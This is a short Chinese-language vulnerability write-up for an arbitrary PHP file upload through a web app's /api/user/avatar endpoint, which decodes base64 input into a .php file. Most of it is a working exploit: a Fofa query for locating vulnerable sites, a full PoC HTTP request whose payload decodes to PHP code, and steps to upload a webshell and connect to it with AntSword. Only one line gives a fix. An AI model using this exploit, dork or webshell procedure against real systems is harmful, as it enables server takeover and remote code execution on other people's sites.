0x01 漏洞描述:
位于 /api/controller/User.php 控制器中的 avatar 方法 通过input()函数POST传入base64参数,然后进入了base64_image_content 方法,直接将解码后的文件通过File_put_contents() 函数写入到 /uploads/时间/rand(10000, 99999).php 中导致任意文件上传。
0x02 搜索语句:
Fofa:"/VwmRIfEYDH.php"
0x03 漏洞复现:
该漏洞需要授权才可进行任意文件上传,因此需访问目标站点进行注册
访问进行注册登录
/index/user
使用登录后的权限即可实现任意文件上传
poc如下
POST /api/user/avatar HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Host: your-ip
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=tfccov3bb6bsnpmti9qu56aikb;token=7c8ffe0d-6374-4417-aa99-9710a5dbd463
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
base64=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==
拼接上传路径访问
http://your-ip/uploads/2024xxxxx/xxxxx.php
shell进行base64后上传
蚁剑连接
0x04 修复建议:
限制上传文件后缀为可控静态数据